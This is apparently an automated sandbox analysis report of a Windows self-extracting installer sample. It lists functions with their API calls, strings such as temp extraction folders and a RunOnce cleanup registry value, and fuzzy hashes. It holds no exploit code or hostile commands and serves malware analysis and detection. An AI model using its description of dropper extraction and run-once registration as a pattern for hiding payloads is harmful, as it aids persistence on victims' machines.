Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-1143122538
Opcode ID: b3051c44cdf2447e8502c622c0c4218f7f53285f7723d54c605f1a77c6be6c0c
Instruction ID: 6f10f7ab6abcc47694b2b6bdd78b6754e0405c95df1b9a29374112c3503e1a6c
Opcode Fuzzy Hash: b3051c44cdf2447e8502c622c0c4218f7f53285f7723d54c605f1a77c6be6c0c
Instruction Fuzzy Hash: CF514B63A0C6A2C1FB55BF15A8963B9E7B0BF49B40FD841B5CA4E42795EF7CE444C220

Function 00007FF749E17010 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 114
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FF749E17091
WaitForSingleObject.KERNEL32 ref: 00007FF749E170AD
GetExitCodeProcess.KERNELBASE ref: 00007FF749E170C3
CloseHandle.KERNEL32 ref: 00007FF749E1714F
CloseHandle.KERNEL32 ref: 00007FF749E17160

Strings

, xrefs: 00007FF749E1707F

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWait
String ID:
API String ID: 976364251-3916222277
Opcode ID: 19170bdb0185dcc4558629786d1e3b276faf8172c778104cd8efa3f0263b16b4
Instruction ID: e514cc71f383f3b50052ddb1153ac3f029b4475b2bc8b19ba71ad3ceb29b4756
Opcode Fuzzy Hash: 19170bdb0185dcc4558629786d1e3b276faf8172c778104cd8efa3f0263b16b4
Instruction Fuzzy Hash: 0B515B33A0CA51C6E764BF20E89636AF7B0FB88754F944175EA4E426A4CF7DD584CB10

Function 00007FF749E17FE4 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 81
libraryloadershutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00007FF749E17FF9
GetModuleHandleW.KERNEL32 ref: 00007FF749E18016
GetProcAddress.KERNEL32 ref: 00007FF749E18031
ExitWindowsEx.USER32 ref: 00007FF749E180E7
CloseHandle.KERNEL32 ref: 00007FF749E18106

Strings

HeapSetInformation, xrefs: 00007FF749E18027
Kernel32.dll, xrefs: 00007FF749E1800F
@, xrefs: 00007FF749E180C0

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Handle$AddressCloseExitModuleProcVersionWindows
String ID: @$HeapSetInformation$Kernel32.dll
API String ID: 1302179841-1204263913
Opcode ID: 83a8c1ea104aff54c4d7c9c4dbf1586e791a1727480c60f852360176ee8197a3
Instruction ID: b43a88469658b1552d3fe3d87d67bb919ef1a570898297282b615d8d5053e3cc
Opcode Fuzzy Hash: 83a8c1ea104aff54c4d7c9c4dbf1586e791a1727480c60f852360176ee8197a3
Instruction Fuzzy Hash: EC313223E0C662C6FB547F50A4C32B6F6B0BF49784FC480B5DA0E426A5DF2CE4868625

Function 00007FF749E126B8 Relevance: 12.1, APIs: 8, Instructions: 121
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE ref: 00007FF749E1275A
lstrcmpA.KERNEL32 ref: 00007FF749E127B9
lstrcmpA.KERNEL32 ref: 00007FF749E127D9
SetFileAttributesA.KERNEL32 ref: 00007FF749E12832
DeleteFileA.KERNEL32 ref: 00007FF749E12842
FindNextFileA.KERNELBASE ref: 00007FF749E12856
FindClose.KERNELBASE ref: 00007FF749E1286D
RemoveDirectoryA.KERNELBASE ref: 00007FF749E1287C

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 18f7d0d8df672b7f8ff2bc21405c924839be97c8656361e9f06e7a67ef0dde56
Instruction ID: 7bff805e46d9dbcd31bc7d29fc6596fd4cae8d65fac847070857a4cef6590a96
Opcode Fuzzy Hash: 18f7d0d8df672b7f8ff2bc21405c924839be97c8656361e9f06e7a67ef0dde56
Instruction Fuzzy Hash: 46513B6261CA96D6EB11BF20E8852E9ABB1FB45B94FC481B2CA4D07799DF3CD509C310

Function 00007FF749E143CC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97
registryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNELBASE ref: 00007FF749E14411
DeleteFileA.KERNELBASE ref: 00007FF749E14420
LocalFree.KERNEL32 ref: 00007FF749E14433
LocalFree.KERNEL32 ref: 00007FF749E14442
SetCurrentDirectoryA.KERNELBASE ref: 00007FF749E144DB
RegOpenKeyExA.KERNELBASE ref: 00007FF749E1452E
RegDeleteValueA.KERNELBASE ref: 00007FF749E1454A
RegCloseKey.ADVAPI32 ref: 00007FF749E1455B

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF749E14520
wextract_cleanup0, xrefs: 00007FF749E14543
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E1447C

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: DeleteFileFreeLocal$AttributesCloseCurrentDirectoryOpenValue
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 3049360512-2186971993
Opcode ID: 945d950d7bb6d2b03bb19646d956afc38b938c28c29c6955e31643fe977d61b4
Instruction ID: feea6c2eea1ccdbf82f7962a2e09f47e8d78a2c550778377d600b2569570dc01
Opcode Fuzzy Hash: 945d950d7bb6d2b03bb19646d956afc38b938c28c29c6955e31643fe977d61b4
Instruction Fuzzy Hash: 64510923A0C6A2C6EB50BF15E8863B9B7B0FB89B45F8441B1CA4D437A5DF6CE444C720

Function 00007FF749E14FD8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 88
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RemoveDirectoryA.KERNELBASE(0000000A,00007FF749E1807B), ref: 00007FF749E15074
GetFileAttributesA.KERNELBASE ref: 00007FF749E15083
GetTempFileNameA.KERNEL32 ref: 00007FF749E150B0
DeleteFileA.KERNEL32 ref: 00007FF749E150C8
CreateDirectoryA.KERNEL32 ref: 00007FF749E150D9

Strings

IXP%03d.TMP, xrefs: 00007FF749E15012
IXP, xrefs: 00007FF749E150A3

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: File$Directory$AttributesCreateDeleteNameRemoveTemp
String ID: IXP$IXP%03d.TMP
API String ID: 4001122843-3932986939
Opcode ID: 950e06c3cc114e96d21c71c189c663bea0479e63569984cfb08e3cb431742b4e
Instruction ID: a7b5c63cf226616641100b78540f752c9a2b1e9c5d544068e4546ba0639be248
Opcode Fuzzy Hash: 950e06c3cc114e96d21c71c189c663bea0479e63569984cfb08e3cb431742b4e
Instruction Fuzzy Hash: 58317032A1CA51C6EB14BF15A8812B9B7A1FB8DB80F9991B1CE4E433A5CE3DD445C610

Function 00007FF749E11150 Relevance: 12.1, APIs: 8, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF749E118E4: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF749E11914
Part of subcall function 00007FF749E118E4: GetCurrentProcessId.KERNEL32 ref: 00007FF749E11922
Part of subcall function 00007FF749E118E4: GetCurrentThreadId.KERNEL32 ref: 00007FF749E1192E
Part of subcall function 00007FF749E118E4: GetTickCount.KERNEL32 ref: 00007FF749E1193A
Part of subcall function 00007FF749E118E4: GetTickCount.KERNEL32 ref: 00007FF749E1194A
Part of subcall function 00007FF749E118E4: QueryPerformanceCounter.KERNEL32 ref: 00007FF749E11965

GetStartupInfoW.KERNEL32 ref: 00007FF749E11185
_amsg_exit.MSVCRT ref: 00007FF749E111C0
Sleep.KERNEL32 ref: 00007FF749E111CF
_initterm.MSVCRT ref: 00007FF749E11267
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF749E11294
exit.MSVCRT ref: 00007FF749E11330
_cexit.MSVCRT ref: 00007FF749E1133F
_ismbblead.MSVCRT ref: 00007FF749E1135F

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_initterm_ismbbleadexit
String ID:
API String ID: 2995914023-0
Opcode ID: dc0a5e20638ea67c63c6f64c653ebcfbc2cd40491069adb64e4f082b60295cf1
Instruction ID: 45e3f890b6f816c9302aeab73a36ddb89c72f824a12995cac20b9e984b5bad1b
Opcode Fuzzy Hash: dc0a5e20638ea67c63c6f64c653ebcfbc2cd40491069adb64e4f082b60295cf1
Instruction Fuzzy Hash: 2D611C33A0C662C6E760BF21E896B79A3B0BB48754FD444B5DA4DC2696DF3DE481C620

Function 00007FF749E156C8 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15168
Part of subcall function 00007FF749E15140: SizeofResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15179
Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E1519F
Part of subcall function 00007FF749E15140: LoadResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151B0
Part of subcall function 00007FF749E15140: LockResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151BF
Part of subcall function 00007FF749E15140: memcpy_s.MSVCRT ref: 00007FF749E151DE
Part of subcall function 00007FF749E15140: FreeResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151ED

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF749E1471F), ref: 00007FF749E156ED
LocalFree.KERNEL32 ref: 00007FF749E15766

Part of subcall function 00007FF749E161E8: LoadStringA.USER32 ref: 00007FF749E16278
Part of subcall function 00007FF749E161E8: MessageBoxA.USER32 ref: 00007FF749E162B8

Part of subcall function 00007FF749E16590: GetLastError.KERNEL32 ref: 00007FF749E16594

Strings

UPROMPT, xrefs: 00007FF749E156D5, 00007FF749E15732
<None>, xrefs: 00007FF749E1577E
, xrefs: 00007FF749E157BC

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: $<None>$UPROMPT
API String ID: 957408736-2569542085
Opcode ID: aea35292e0b0d1d5dd38c3033b5e2eace57c3e947cdaa261d3646570dc64e0d9
Instruction ID: 4991daee0eb2d8a7c0bdb3134dd9ed33d68fae1d641cba16acc6f798208f9007
Opcode Fuzzy Hash: aea35292e0b0d1d5dd38c3033b5e2eace57c3e947cdaa261d3646570dc64e0d9
Instruction Fuzzy Hash: 0C315E73A0C262C7E724BF21A5936BAFAB1FB89784F8045B5DA0E06695DF7CD4408A11

Function 00007FF749E18400 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32 ref: 00007FF749E18487
CreateFileA.KERNELBASE ref: 00007FF749E18545
CreateFileA.KERNEL32 ref: 00007FF749E185FE

Strings

*MEMCAB, xrefs: 00007FF749E1847D

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CreateFile$lstrcmp
String ID: *MEMCAB
API String ID: 1301100335-3211172518
Opcode ID: 882ecc141dfa2a6022f31e20c1b0ac6f4acce46d394e68a6a22d01aa207dc993
Instruction ID: 8bf1c6c6b09f3b59ee36b94a3f4d394189265bb0b822bf4a90c6933f3329e827
Opcode Fuzzy Hash: 882ecc141dfa2a6022f31e20c1b0ac6f4acce46d394e68a6a22d01aa207dc993
Instruction Fuzzy Hash: B9619263A0C762C6F760BF15A4C2379BAB1F755BA4F8443B5DA6E026C0CF3CE4468620

Function 00007FF749E181D1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32 ref: 00007FF749E18280
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF749E1829A
SetFileTime.KERNELBASE ref: 00007FF749E182C2
SetFileAttributesA.KERNELBASE ref: 00007FF749E182F8
SetDlgItemTextA.USER32 ref: 00007FF749E1832B

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E18247, 00007FF749E1833B

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: FileTime$AttributesDateItemLocalText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 851750970-388467436
Opcode ID: 1b29dbb9e3ca8058bb845d1cdcb3f6214ba747c613cdf2411ff3bfa011323251
Instruction ID: 915d9001c3c9954be022fc0e081686c6e6ba88fbb8b6da2cd42d7713a3e2185b
Opcode Fuzzy Hash: 1b29dbb9e3ca8058bb845d1cdcb3f6214ba747c613cdf2411ff3bfa011323251
Instruction Fuzzy Hash: 66519E23A1C962C1EB61BF21D4861B9E7B0FB88B94F9442B2DA4D436D5DF3CE446C760

Function 00007FF749E15ED8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF749E15F08

Strings

TMP4351$.TMP, xrefs: 00007FF749E15FA5

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: AllocLocal
String ID: TMP4351$.TMP
API String ID: 3494564517-2619824408
Opcode ID: f6643adad851909dc84ab3123c3a019038264e65fc77465c454a882d24c4d207
Instruction ID: ae6b6e5ba4574d69b5dd078f27ba9c8d1f020af12f507feba1728a61941d54f8
Opcode Fuzzy Hash: f6643adad851909dc84ab3123c3a019038264e65fc77465c454a882d24c4d207
Instruction Fuzzy Hash: 8A31AE32A1C7A1C6FB507F25A4413B9FAA1BB89BA4F9843B4DA6E037D5CF3CD4058610

Function 00007FF749E134D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(?,?,?,?,00000000,00007FF749E12566), ref: 00007FF749E13527
RegQueryValueExA.KERNELBASE(?,?,?,?,00000000,00007FF749E12566), ref: 00007FF749E13558
RegCloseKey.KERNELBASE(?,?,?,?,00000000,00007FF749E12566), ref: 00007FF749E13576

Strings

PendingFileRenameOperations, xrefs: 00007FF749E13546
System\CurrentControlSet\Control\Session Manager, xrefs: 00007FF749E13519

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager
API String ID: 3677997916-3057196482
Opcode ID: 340b8b646548313282c693838e7f25eceb0ba4f0296da7f4314fc4dbeecda6e5
Instruction ID: 775a972e90bbf145797a2447fe1b43a36dcd5d120532c8ecf89a09304287e998
Opcode Fuzzy Hash: 340b8b646548313282c693838e7f25eceb0ba4f0296da7f4314fc4dbeecda6e5
Instruction Fuzzy Hash: 76115E33A0C661C6E720BF19F485139EBB1FB89750F905175DA8D42B58CF3DD444CA20

Function 00007FF749E187A0 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF749E17F58: MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF749E14A99), ref: 00007FF749E17F7C
Part of subcall function 00007FF749E17F58: PeekMessageA.USER32 ref: 00007FF749E17FC2

WriteFile.KERNELBASE ref: 00007FF749E187F4

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: FileMessageMultipleObjectsPeekWaitWrite
String ID:
API String ID: 3430465807-0
Opcode ID: 991d4bdccbb001d71ab861eb250e50ad34ff21f81909168724640f7d797acd5b
Instruction ID: dfdae5033c384b6f64dc15e870cba77a38e11f2ba612013da73ff60d18cbd025
Opcode Fuzzy Hash: 991d4bdccbb001d71ab861eb250e50ad34ff21f81909168724640f7d797acd5b
Instruction Fuzzy Hash: DD216A22A0C562C6E710BF16E8C6375F7B0FB84B94F948276E91D466A4CF3CE446CB20

Function 00007FF749E14140 Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE ref: 00007FF749E14152
SetFileAttributesA.KERNEL32 ref: 00007FF749E141C7

Part of subcall function 00007FF749E164B0: FindResourceA.KERNEL32 ref: 00007FF749E164DA
Part of subcall function 00007FF749E164B0: LoadResource.KERNEL32 ref: 00007FF749E164F1
Part of subcall function 00007FF749E164B0: DialogBoxIndirectParamA.USER32 ref: 00007FF749E16527
Part of subcall function 00007FF749E164B0: FreeResource.KERNEL32 ref: 00007FF749E16539

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$AttributesFile$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 2018477427-0
Opcode ID: 4737db5ac4d1f4b61336884d07e3be5c2f7f4e323d7d01ce83fef1e9a7c030ba
Instruction ID: 35e5bdb23e8b0699020edf78e517960b2af30bfe3674e63bc35a83a8ef359604
Opcode Fuzzy Hash: 4737db5ac4d1f4b61336884d07e3be5c2f7f4e323d7d01ce83fef1e9a7c030ba
Instruction Fuzzy Hash: 8711A533A0C666C6FB147F10A8CA339F6B0BF58748F9441B1CA8C427A4DF3CA885C220

Function 00007FF749E1887C Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CharPrevA.USER32 ref: 00007FF749E188C3

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 8245624d2b9ebc6079e72f8030c20bb1c2af5584c94ac8071bf526b29981342a
Instruction ID: 7f24ea94f0a8ef7b04e228fd7b83bb6e5fd8d78adb94e66f783aa1fc34a37365
Opcode Fuzzy Hash: 8245624d2b9ebc6079e72f8030c20bb1c2af5584c94ac8071bf526b29981342a
Instruction Fuzzy Hash: 4F01C412E0C7D5DAF3107F15E48122AFAA0B745BA0FD892B1DB69167C5CB2CD4438710

Function 00007FF749E18160 Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF749E18199

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 631afb329a542f924e594eb567a6f67e576df5b656a914a684b149cc5fb41dd4
Instruction ID: d915ca90ff4bb433f75680f524e638fd090a0820cc1e339de576cb41bea710dc
Opcode Fuzzy Hash: 631afb329a542f924e594eb567a6f67e576df5b656a914a684b149cc5fb41dd4
Instruction Fuzzy Hash: 94F0F933A0C692D2EB5C6F25F5C2178B7B0FB48B58F948275DA2B47688CE78D485C720

Non-executed Functions

Function 00007FF749E178AE Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 177windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF749E1792A
EndDialog.USER32 ref: 00007FF749E17AD2
GetDesktopWindow.USER32 ref: 00007FF749E17B02
SetWindowTextA.USER32 ref: 00007FF749E17B23
SendDlgItemMessageA.USER32 ref: 00007FF749E17B47
GetDlgItem.USER32 ref: 00007FF749E17B64
EnableWindow.USER32 ref: 00007FF749E17B75
EndDialog.USER32 ref: 00007FF749E17B88

Strings

1st, xrefs: 00007FF749E17B19
, xrefs: 00007FF749E17A36
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E179B5

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

